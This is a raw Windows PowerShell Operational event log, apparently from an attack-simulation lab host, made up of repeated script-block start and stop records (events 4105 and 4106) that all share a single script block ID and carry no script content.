Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467952
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467951
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467950
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467949
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467948
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467947
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467946
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467945
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467944
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467943
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467942
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467941
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467940
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467939
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467938
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467937
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467936
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467935
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467934
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467933
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467932
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467931
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467930
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467929
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467928
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467927
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467926
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467925
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467924
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467923
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467922
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467921
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467920
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467919
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467918
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467917
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467916
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467915
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467914
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467913
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467912
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467911
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467910
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467909
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467908
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467907
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467906
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467905
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467904
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467903
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467902
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467901
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467900
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467899
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467898
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467897
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
